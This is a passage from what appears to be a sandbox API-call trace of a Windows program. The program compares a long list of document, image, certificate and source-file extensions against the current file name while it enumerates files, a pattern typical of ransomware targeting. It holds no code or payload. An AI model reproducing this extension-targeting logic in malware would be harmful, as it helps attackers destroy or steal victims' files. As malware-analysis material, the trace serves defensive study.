lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".ai7") returned 4 [0035.651] lstrcmpiW (lpString1=".ai7", lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".ai8") returned 4 [0035.651] lstrcmpiW (lpString1=".ai8", lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".anim") returned 5 [0035.651] lstrcmpiW (lpString1=".anim", lpString2="R.cab") returned -1 [0035.651] lstrlenW (lpString=".arw") returned 4 [0035.651] lstrcmpiW (lpString1=".arw", lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".as") returned 3 [0035.651] lstrcmpiW (lpString1=".as", lpString2="cab") returned -1 [0035.651] lstrlenW (lpString=".asa") returned 4 [0035.651] lstrcmpiW (lpString1=".asa", lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".asc") returned 4 [0035.651] lstrcmpiW (lpString1=".asc", lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".ascx") returned 5 [0035.651] lstrcmpiW (lpString1=".ascx", lpString2="R.cab") returned -1 [0035.651] lstrlenW (lpString=".asm") returned 4 [0035.651] lstrcmpiW (lpString1=".asm", lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".asmx") returned 5 [0035.651] lstrcmpiW (lpString1=".asmx", lpString2="R.cab") returned -1 [0035.651] lstrlenW (lpString=".asp") returned 4 [0035.651] lstrcmpiW (lpString1=".asp", lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".aspx") returned 5 [0035.652] lstrcmpiW (lpString1=".aspx", lpString2="R.cab") returned -1 [0035.652] lstrlenW (lpString=".asr") returned 4 [0035.652] lstrcmpiW (lpString1=".asr", lpString2=".cab") returned -1 [0035.652] lstrlenW (lpString=".asx") returned 4 [0035.652] lstrcmpiW (lpString1=".asx", lpString2=".cab") returned -1 [0035.652] lstrlenW (lpString=".avi") returned 4 [0035.652] lstrcmpiW (lpString1=".avi", lpString2=".cab") returned -1 [0035.652] lstrlenW (lpString=".avs") returned 4 [0035.652] lstrcmpiW (lpString1=".avs", lpString2=".cab") returned -1 [0035.652] lstrlenW (lpString=".backup") returned 7 [0035.652] lstrcmpiW (lpString1=".backup", lpString2="lLR.cab") returned -1 [0035.652] lstrlenW (lpString=".bak") returned 4 [0035.652] lstrcmpiW (lpString1=".bak", lpString2=".cab") returned -1 [0035.652] lstrlenW (lpString=".bay") returned 4 [0035.652] lstrcmpiW (lpString1=".bay", lpString2=".cab") returned -1 [0035.652] lstrlenW (lpString=".bd") returned 3 [0035.652] lstrcmpiW (lpString1=".bd", lpString2="cab") returned -1 [0035.652] lstrlenW (lpString=".bin") returned 4 [0035.652] lstrcmpiW (lpString1=".bin", lpString2=".cab") returned -1 [0035.652] lstrlenW (lpString=".bmp") returned 4 [0035.652] lstrcmpiW (lpString1=".bmp", lpString2=".cab") returned -1 [0035.652] lstrlenW (lpString=".bz2") returned 4 [0035.652] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0035.652] lstrlenW (lpString=".c") returned 2 [0035.652] lstrcmpiW (lpString1=".c", lpString2="ab") returned -1 [0035.652] lstrlenW (lpString=".cdr") returned 4 [0035.652] lstrcmpiW (lpString1=".cdr", lpString2=".cab") returned 1 [0035.652] lstrlenW (lpString=".cer") returned 4 [0035.652] lstrcmpiW (lpString1=".cer", lpString2=".cab") returned 1 [0035.652] lstrlenW (lpString=".cf") returned 3 [0035.652] lstrcmpiW (lpString1=".cf", lpString2="cab") returned -1 [0035.652] lstrlenW (lpString=".cfc") returned 4 [0035.652] lstrcmpiW (lpString1=".cfc", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".cfm") returned 4 [0035.653] lstrcmpiW (lpString1=".cfm", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".cfml") returned 5 [0035.653] lstrcmpiW (lpString1=".cfml", lpString2="R.cab") returned -1 [0035.653] lstrlenW (lpString=".cfu") returned 4 [0035.653] lstrcmpiW (lpString1=".cfu", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".chm") returned 4 [0035.653] lstrcmpiW (lpString1=".chm", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".cin") returned 4 [0035.653] lstrcmpiW (lpString1=".cin", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".class") returned 6 [0035.653] lstrcmpiW (lpString1=".class", lpString2="LR.cab") returned -1 [0035.653] lstrlenW (lpString=".clx") returned 4 [0035.653] lstrcmpiW (lpString1=".clx", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".config") returned 7 [0035.653] lstrcmpiW (lpString1=".config", lpString2="lLR.cab") returned -1 [0035.653] lstrlenW (lpString=".cpp") returned 4 [0035.653] lstrcmpiW (lpString1=".cpp", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".cr2") returned 4 [0035.653] lstrcmpiW (lpString1=".cr2", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".crt") returned 4 [0035.653] lstrcmpiW (lpString1=".crt", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".crw") returned 4 [0035.653] lstrcmpiW (lpString1=".crw", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".cs") returned 3 [0035.653] lstrcmpiW (lpString1=".cs", lpString2="cab") returned -1 [0035.653] lstrlenW (lpString=".css") returned 4 [0035.653] lstrcmpiW (lpString1=".css", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".csv") returned 4 [0035.653] lstrcmpiW (lpString1=".csv", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".cub") returned 4 [0035.653] lstrcmpiW (lpString1=".cub", lpString2=".cab") returned 1 [0035.653] lstrlenW (lpString=".dae") returned 4 [0035.653] lstrcmpiW (lpString1=".dae", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".dat") returned 4 [0035.654] lstrcmpiW (lpString1=".dat", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".db") returned 3 [0035.654] lstrcmpiW (lpString1=".db", lpString2="cab") returned -1 [0035.654] lstrlenW (lpString=".dbf") returned 4 [0035.654] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".dbx") returned 4 [0035.654] lstrcmpiW (lpString1=".dbx", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".dc3") returned 4 [0035.654] lstrcmpiW (lpString1=".dc3", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".dcm") returned 4 [0035.654] lstrcmpiW (lpString1=".dcm", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".dcr") returned 4 [0035.654] lstrcmpiW (lpString1=".dcr", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".der") returned 4 [0035.654] lstrcmpiW (lpString1=".der", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".dib") returned 4 [0035.654] lstrcmpiW (lpString1=".dib", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".dic") returned 4 [0035.654] lstrcmpiW (lpString1=".dic", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".dif") returned 4 [0035.654] lstrcmpiW (lpString1=".dif", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".divx") returned 5 [0035.654] lstrcmpiW (lpString1=".divx", lpString2="R.cab") returned -1 [0035.654] lstrlenW (lpString=".djvu") returned 5 [0035.654] lstrcmpiW (lpString1=".djvu", lpString2="R.cab") returned -1 [0035.654] lstrlenW (lpString=".dng") returned 4 [0035.654] lstrcmpiW (lpString1=".dng", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".doc") returned 4 [0035.654] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0035.654] lstrlenW (lpString=".docm") returned 5 [0035.654] lstrcmpiW (lpString1=".docm", lpString2="R.cab") returned -1 [0035.654] lstrlenW (lpString=".docx") returned 5 [0035.655] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0035.655] lstrlenW (lpString=".dot") returned 4 [0035.655] lstrcmpiW (lpString1=".dot", lpString2=".cab") returned 1 [0035.655] lstrlenW (lpString=".dotm") returned 5 [0035.655] lstrcmpiW (lpString1=".dotm", lpString2="R.cab") returned -1 [0035.655] lstrlenW (lpString=".dotx") returned 5 [0035.655] lstrcmpiW (lpString1=".dotx", lpString2="R.cab") returned -1 [0035.655] lstrlenW (lpString=".dpx") returned 4 [0035.655] lstrcmpiW (lpString1=".dpx", lpString2=".cab") returned 1 [0035.655] lstrlenW (lpString=".dqy") returned 4 [0035.655] lstrcmpiW (lpString1=".dqy", lpString2=".cab") returned 1 [0035.655] lstrlenW (lpString=".dsn") returned 4 [0035.655] lstrcmpiW (lpString1=".dsn", lpString2=".cab") returned 1 [0035.655] lstrlenW (lpString=".dt") returned 3 [0035.655] lstrcmpiW (lpString1=".dt", lpString2="cab") returned -1 [0035.655] lstrlenW (lpString=".dtd") returned 4 [0035.655] lstrcmpiW (lpString1=".dtd", lpString2=".cab") returned 1 [0035.655] lstrlenW (lpString=".dwg") returned 4 [0035.655] lstrcmpiW (lpString1=".dwg", lpString2=".cab") returned 1 [0035.655] lstrlenW (lpString=".dwt") returned 4 [0035.655] lstrcmpiW (lpString1=".dwt", lpString2=".cab") returned 1 [0035.655] lstrlenW (lpString=".dx") returned 3 [0035.655] lstrcmpiW (lpString1=".dx", lpString2="cab") returned -1 [0035.655] lstrlenW (lpString=".dxf") returned 4 [0035.655] lstrcmpiW (lpString1=".dxf", lpString2=".cab") returned 1 [0035.655] lstrlenW (lpString=".edml") returned 5 [0035.655] lstrcmpiW (lpString1=".edml", lpString2="R.cab") returned -1 [0035.655] lstrlenW (lpString=".efd") returned 4 [0035.655] lstrcmpiW (lpString1=".efd", lpString2=".cab") returned 1 [0035.655] lstrlenW (lpString=".elf") returned 4 [0035.655] lstrcmpiW (lpString1=".elf", lpString2=".cab") returned 1 [0035.655] lstrlenW (lpString=".emf") returned 4 [0035.655] lstrcmpiW (lpString1=".emf", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".emz") returned 4 [0035.656] lstrcmpiW (lpString1=".emz", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".epf") returned 4 [0035.656] lstrcmpiW (lpString1=".epf", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".eps") returned 4 [0035.656] lstrcmpiW (lpString1=".eps", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".epsf") returned 5 [0035.656] lstrcmpiW (lpString1=".epsf", lpString2="R.cab") returned -1 [0035.656] lstrlenW (lpString=".epsp") returned 5 [0035.656] lstrcmpiW (lpString1=".epsp", lpString2="R.cab") returned -1 [0035.656] lstrlenW (lpString=".erf") returned 4 [0035.656] lstrcmpiW (lpString1=".erf", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".exr") returned 4 [0035.656] lstrcmpiW (lpString1=".exr", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".f4v") returned 4 [0035.656] lstrcmpiW (lpString1=".f4v", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".fido") returned 5 [0035.656] lstrcmpiW (lpString1=".fido", lpString2="R.cab") returned -1 [0035.656] lstrlenW (lpString=".flm") returned 4 [0035.656] lstrcmpiW (lpString1=".flm", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".flv") returned 4 [0035.656] lstrcmpiW (lpString1=".flv", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".frm") returned 4 [0035.656] lstrcmpiW (lpString1=".frm", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".fxg") returned 4 [0035.656] lstrcmpiW (lpString1=".fxg", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".geo") returned 4 [0035.656] lstrcmpiW (lpString1=".geo", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".gif") returned 4 [0035.656] lstrcmpiW (lpString1=".gif", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".grs") returned 4 [0035.656] lstrcmpiW (lpString1=".grs", lpString2=".cab") returned 1 [0035.656] lstrlenW (lpString=".gz") returned 3 [0035.657] lstrcmpiW (lpString1=".gz", lpString2="cab") returned -1 [0035.657] lstrlenW (lpString=".h") returned 2 [0035.657] lstrcmpiW (lpString1=".h", lpString2="ab") returned -1 [0035.657] lstrlenW (lpString=".hdr") returned 4 [0035.657] lstrcmpiW (lpString1=".hdr", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".hpp") returned 4 [0035.657] lstrcmpiW (lpString1=".hpp", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".hta") returned 4 [0035.657] lstrcmpiW (lpString1=".hta", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".htc") returned 4 [0035.657] lstrcmpiW (lpString1=".htc", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".htm") returned 4 [0035.657] lstrcmpiW (lpString1=".htm", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".html") returned 5 [0035.657] lstrcmpiW (lpString1=".html", lpString2="R.cab") returned -1 [0035.657] lstrlenW (lpString=".icb") returned 4 [0035.657] lstrcmpiW (lpString1=".icb", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".ics") returned 4 [0035.657] lstrcmpiW (lpString1=".ics", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".iff") returned 4 [0035.657] lstrcmpiW (lpString1=".iff", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".inc") returned 4 [0035.657] lstrcmpiW (lpString1=".inc", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".indd") returned 5 [0035.657] lstrcmpiW (lpString1=".indd", lpString2="R.cab") returned -1 [0035.657] lstrlenW (lpString=".ini") returned 4 [0035.657] lstrcmpiW (lpString1=".ini", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".iqy") returned 4 [0035.657] lstrcmpiW (lpString1=".iqy", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".j2c") returned 4 [0035.657] lstrcmpiW (lpString1=".j2c", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".j2k") returned 4 [0035.657] lstrcmpiW (lpString1=".j2k", lpString2=".cab") returned 1 [0035.657] lstrlenW (lpString=".java") returned 5 [0035.658] lstrcmpiW (lpString1=".java", lpString2="R.cab") returned -1 [0035.658] lstrlenW (lpString=".jp2") returned 4 [0035.658] lstrcmpiW (lpString1=".jp2", lpString2=".cab") returned 1 [0035.658] lstrlenW (lpString=".jpc") returned 4 [0035.658] lstrcmpiW (lpString1=".jpc", lpString2=".cab") returned 1 [0035.658] lstrlenW (lpString=".jpe") returned 4 [0035.658] lstrcmpiW (lpString1=".jpe", lpString2=".cab") returned 1 [0035.658] lstrlenW (lpString=".jpeg") returned 5 [0035.658] lstrcmpiW (lpString1=".jpeg", lpString2="R.cab") returned -1 [0035.658] lstrlenW (lpString=".jpf") returned 4 [0035.658] lstrcmpiW (lpString1=".jpf", lpString2=".cab") returned 1 [0035.658] lstrlenW (lpString=".jpg") returned 4 [0035.658] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0035.658] lstrlenW (lpString=".jpx") returned 4 [0035.658] lstrcmpiW (lpString1=".jpx", lpString2=".cab") returned 1 [0035.658] lstrlenW (lpString=".js") returned 3 [0035.658] lstrcmpiW (lpString1=".js", lpString2="cab") returned -1 [0035.658] lstrlenW (lpString=".jsf") returned 4 [0035.658] lstrcmpiW (lpString1=".jsf", lpString2=".cab") returned 1 [0035.658] lstrlenW (lpString=".json") returned 5 [0035.658] lstrcmpiW (lpString1=".json", lpString2="R.cab") returned -1 [0035.658] lstrlenW (lpString=".jsp") returned 4 [0035.658] lstrcmpiW (lpString1=".jsp", lpString2=".cab") returned 1 [0035.658] lstrlenW (lpString=".kdc") returned 4 [0035.658] lstrcmpiW (lpString1=".kdc", lpString2=".cab") returned 1 [0035.658] lstrlenW (lpString=".kmz") returned 4 [0035.658] lstrcmpiW (lpString1=".kmz", lpString2=".cab") returned 1 [0035.658] lstrlenW (lpString=".kwm") returned 4 [0035.658] lstrcmpiW (lpString1=".kwm", lpString2=".cab") returned 1 [0035.658] lstrlenW (lpString=".lasso") returned 6 [0035.658] lstrcmpiW (lpString1=".lasso", lpString2="LR.cab") returned -1 [0035.658] lstrlenW (lpString=".lbi") returned 4 [0035.658] lstrcmpiW (lpString1=".lbi", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".lgf") returned 4 [0035.659] lstrcmpiW (lpString1=".lgf", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".lgp") returned 4 [0035.659] lstrcmpiW (lpString1=".lgp", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".log") returned 4 [0035.659] lstrcmpiW (lpString1=".log", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".m1v") returned 4 [0035.659] lstrcmpiW (lpString1=".m1v", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".m4a") returned 4 [0035.659] lstrcmpiW (lpString1=".m4a", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".m4v") returned 4 [0035.659] lstrcmpiW (lpString1=".m4v", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".max") returned 4 [0035.659] lstrcmpiW (lpString1=".max", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".md") returned 3 [0035.659] lstrcmpiW (lpString1=".md", lpString2="cab") returned -1 [0035.659] lstrlenW (lpString=".mda") returned 4 [0035.659] lstrcmpiW (lpString1=".mda", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".mdb") returned 4 [0035.659] lstrcmpiW (lpString1=".mdb", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".mde") returned 4 [0035.659] lstrcmpiW (lpString1=".mde", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".mdf") returned 4 [0035.659] lstrcmpiW (lpString1=".mdf", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".mdw") returned 4 [0035.659] lstrcmpiW (lpString1=".mdw", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".mef") returned 4 [0035.659] lstrcmpiW (lpString1=".mef", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".mft") returned 4 [0035.659] lstrcmpiW (lpString1=".mft", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".mfw") returned 4 [0035.659] lstrcmpiW (lpString1=".mfw", lpString2=".cab") returned 1 [0035.659] lstrlenW (lpString=".mht") returned 4 [0035.660] lstrcmpiW (lpString1=".mht", lpString2=".cab") returned 1 [0035.660] lstrlenW (lpString=".mhtml") returned 6 [0035.660] lstrcmpiW (lpString1=".mhtml", lpString2="LR.cab") returned -1 [0035.660] lstrlenW (lpString=".mka") returned 4 [0035.660] lstrcmpiW (lpString1=".mka", lpString2=".cab") returned 1 [0035.660] lstrlenW (lpString=".mkidx") returned 6 [0035.660] lstrcmpiW (lpString1=".mkidx", lpString2="LR.cab") returned -1 [0035.660] lstrlenW (lpString=".mkv") returned 4 [0035.660] lstrcmpiW (lpString1=".mkv", lpString2=".cab") returned 1 [0035.660] lstrlenW (lpString=".mos") returned 4 [0035.660] lstrcmpiW (lpString1=".mos", lpString2=".cab") returned 1 [0035.660] lstrlenW (lpString=".mov") returned 4 [0035.660] lstrcmpiW (lpString1=".mov", lpString2=".cab") returned 1 [0035.660] lstrlenW (lpString=".mp3") returned 4 [0035.660] lstrcmpiW (lpString1=".mp3", lpString2=".cab") returned 1 [0035.660] lstrlenW (lpString=".mp4") returned 4 [0035.660] lstrcmpiW (lpString1=".mp4", lpString2=".cab") returned 1 [0035.660] lstrlenW (lpString=".mpeg") returned 5 [0035.660] lstrcmpiW (lpString1=".mpeg", lpString2="R.cab") returned -1 [0035.660] lstrlenW (lpString=".mpg") returned 4 [0035.660] lstrcmpiW (lpString1=".mpg", lpString2=".cab") returned 1 [0035.660] lstrlenW (lpString=".mpv") returned 4 [0035.660] lstrcmpiW (lpString1=".mpv", lpString2=".cab") returned 1 [0035.660] lstrlenW (lpString=".mrw") returned 4 [0035.660] lstrcmpiW (lpString1=".mrw", lpString2=".cab") returned 1 [0035.660] lstrlenW (lpString=".msg") returned 4 [0035.660] lstrcmpiW (lpString1=".msg", lpString2=".cab") returned 1 [0035.660] lstrlenW (lpString=".mxl") returned 4 [0035.661] lstrcmpiW (lpString1=".mxl", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".myd") returned 4 [0035.661] lstrcmpiW (lpString1=".myd", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".myi") returned 4 [0035.661] lstrcmpiW (lpString1=".myi", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".nef") returned 4 [0035.661] lstrcmpiW (lpString1=".nef", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".nrw") returned 4 [0035.661] lstrcmpiW (lpString1=".nrw", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".obj") returned 4 [0035.661] lstrcmpiW (lpString1=".obj", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".odb") returned 4 [0035.661] lstrcmpiW (lpString1=".odb", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".odc") returned 4 [0035.661] lstrcmpiW (lpString1=".odc", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".odm") returned 4 [0035.661] lstrcmpiW (lpString1=".odm", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".odp") returned 4 [0035.661] lstrcmpiW (lpString1=".odp", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".ods") returned 4 [0035.661] lstrcmpiW (lpString1=".ods", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".oft") returned 4 [0035.661] lstrcmpiW (lpString1=".oft", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".one") returned 4 [0035.661] lstrcmpiW (lpString1=".one", lpString2=".cab") returned 1 [0035.661] lstrlenW (lpString=".onepkg") returned 7 [0035.661] lstrcmpiW (lpString1=".onepkg", lpString2="lLR.cab") returned -1 [0035.661] lstrlenW (lpString=".onetoc2") returned 8 [0035.661] lstrcmpiW (lpString1=".onetoc2", lpString2="elLR.cab") returned -1 [0035.661] lstrlenW (lpString=".opt") returned 4 [0035.661] lstrcmpiW (lpString1=".opt", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".oqy") returned 4 [0035.662] lstrcmpiW (lpString1=".oqy", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".orf") returned 4 [0035.662] lstrcmpiW (lpString1=".orf", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".p12") returned 4 [0035.662] lstrcmpiW (lpString1=".p12", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".p7b") returned 4 [0035.662] lstrcmpiW (lpString1=".p7b", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".p7c") returned 4 [0035.662] lstrcmpiW (lpString1=".p7c", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pam") returned 4 [0035.662] lstrcmpiW (lpString1=".pam", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pbm") returned 4 [0035.662] lstrcmpiW (lpString1=".pbm", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pct") returned 4 [0035.662] lstrcmpiW (lpString1=".pct", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pcx") returned 4 [0035.662] lstrcmpiW (lpString1=".pcx", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pdd") returned 4 [0035.662] lstrcmpiW (lpString1=".pdd", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pdf") returned 4 [0035.662] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pdp") returned 4 [0035.662] lstrcmpiW (lpString1=".pdp", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pef") returned 4 [0035.662] lstrcmpiW (lpString1=".pef", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pem") returned 4 [0035.662] lstrcmpiW (lpString1=".pem", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pff") returned 4 [0035.662] lstrcmpiW (lpString1=".pff", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pfm") returned 4 [0035.662] lstrcmpiW (lpString1=".pfm", lpString2=".cab") returned 1 [0035.662] lstrlenW (lpString=".pfx") returned 4 [0035.663] lstrcmpiW (lpString1=".pfx", lpString2=".cab") returned 1 [0035.663] lstrlenW (lpString=".pgm") returned 4 [0035.663] lstrcmpiW (lpString1=".pgm", lpString2=".cab") returned 1 [0035.663] lstrlenW (lpString=".php") returned 4 [0035.663] lstrcmpiW (lpString1=".php", lpString2=".cab") returned 1 [0035.663] lstrlenW (lpString=".php3") returned 5 [0035.663] lstrcmpiW (lpString1=".php3", lpString2="R.cab") returned -1 [0035.663] lstrlenW (lpString=".php4") returned 5 [0035.663] lstrcmpiW (lpString1=".php4", lpString2="R.cab") returned -1 [0035.663] lstrlenW (lpString=".php5") returned 5 [0035.663] lstrcmpiW (lpString1=".php5", lpString2="R.cab") returned -1 [0035.663] lstrlenW (lpString=".phtml") returned 6 [0035.663] lstrcmpiW (lpString1=".phtml", lpString2="LR.cab") returned -1 [0035.663] lstrlenW (lpString=".pict") returned 5 [0035.663] lstrcmpiW (lpString1=".pict", lpString2="R.cab") returned -1 [0035.663] lstrlenW (lpString=".pl") returned 3 [0035.663] lstrcmpiW (lpString1=".pl", lpString2="cab") returned -1 [0035.663] lstrlenW (lpString=".pls") returned 4 [0035.663] lstrcmpiW (lpString1=".pls", lpString2=".cab") returned 1 [0035.663] lstrlenW (lpString=".pm") returned 3 [0035.663] lstrcmpiW (lpString1=".pm", lpString2="cab") returned -1 [0035.663] lstrlenW (lpString=".png") returned 4 [0035.663] lstrcmpiW (lpString1=".png", lpString2=".cab") returned 1 [0035.663] lstrlenW (lpString=".pnm") returned 4 [0035.663] lstrcmpiW (lpString1=".pnm", lpString2=".cab") returned 1 [0035.663] lstrlenW (lpString=".pot") returned 4 [0035.663] lstrcmpiW (lpString1=".pot", lpString2=".cab") returned 1 [0035.663] lstrlenW (lpString=".potm") returned 5 [0035.663] lstrcmpiW (lpString1=".potm", lpString2="R.cab") returned -1 [0035.663] lstrlenW (lpString=".potx") returned 5 [0035.663] lstrcmpiW (lpString1=".potx", lpString2="R.cab") returned -1 [0035.663] lstrlenW (lpString=".ppa") returned 4 [0035.663] lstrcmpiW (lpString1=".ppa", lpString2=".cab") returned 1 [0035.664] lstrlenW (lpString=".ppam") returned 5 [0035.664] lstrcmpiW (lpString1=".ppam", lpString2="R.cab") returned -1 [0035.664] lstrlenW (lpString=".ppm") returned 4 [0035.664] lstrcmpiW (lpString1=".ppm", lpString2=".cab") returned 1 [0035.664] lstrlenW (lpString=".pps") returned 4 [0035.664] lstrcmpiW (lpString1=".pps", lpString2=".cab") returned 1 [0035.664] lstrlenW (lpString=".ppsm") returned 5 [0035.664] lstrcmpiW (lpString1=".ppsm", lpString2="R.cab") returned -1 [0035.664] lstrlenW (lpString=".ppt") returned 4 [0035.664] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0035.664] lstrlenW (lpString=".pptm") returned 5 [0035.664] lstrcmpiW (lpString1=".pptm", lpString2="R.cab") returned -1 [0035.664] lstrlenW (lpString=".pptx") returned 5 [0035.664] lstrcmpiW (lpString1=".pptx", lpString2="R.cab") returned -1 [0035.664] lstrlenW (lpString=".prn") returned 4 [0035.664] lstrcmpiW (lpString1=".prn", lpString2=".cab") returned 1 [0035.664] lstrlenW (lpString=".ps") returned 3 [0035.664] lstrcmpiW (lpString1=".ps", lpString2="cab") returned -1 [0035.664] lstrlenW (lpString=".psb") returned 4 [0035.664] lstrcmpiW (lpString1=".psb", lpString2=".cab") returned 1 [0035.664] lstrlenW (lpString=".psd") returned 4 [0035.664] lstrcmpiW (lpString1=".psd", lpString2=".cab") returned 1 [0035.664] lstrlenW (lpString=".pst") returned 4 [0035.664] lstrcmpiW (lpString1=".pst", lpString2=".cab") returned 1 [0035.664] lstrlenW (lpString=".ptx") returned 4 [0035.664] lstrcmpiW (lpString1=".ptx", lpString2=".cab") returned 1 [0035.664] lstrlenW (lpString=".pub") returned 4 [0035.664] lstrcmpiW (lpString1=".pub", lpString2=".cab") returned 1 [0035.664] lstrlenW (lpString=".pwm") returned 4 [0035.664] lstrcmpiW (lpString1=".pwm", lpString2=".cab") returned 1 [0035.664] lstrlenW (lpString=".pxr") returned 4 [0035.664] lstrcmpiW (lpString1=".pxr", lpString2=".cab") returned 1 [0035.665] lstrlenW (lpString=".py") returned 3 [0035.665] lstrcmpiW (lpString1=".py", lpString2="cab") returned -1 [0035.665] lstrlenW (lpString=".qt") returned 3 [0035.665] lstrcmpiW (lpString1=".qt", lpString2="cab") returned -1 [0035.665] lstrlenW (lpString=".r3d") returned 4 [0035.665] lstrcmpiW (lpString1=".r3d", lpString2=".cab") returned 1 [0037.692] FindClose (in: hFindFile=0x604608 | out: hFindFile=0x604608) returned 1 [0037.697] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ee0058 | out: hHeap=0x510000) returned 1 [0037.700] FindNextFileW (in: hFindFile=0x604648, lpFindFileData=0x2eff310 | out: lpFindFileData=0x2eff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 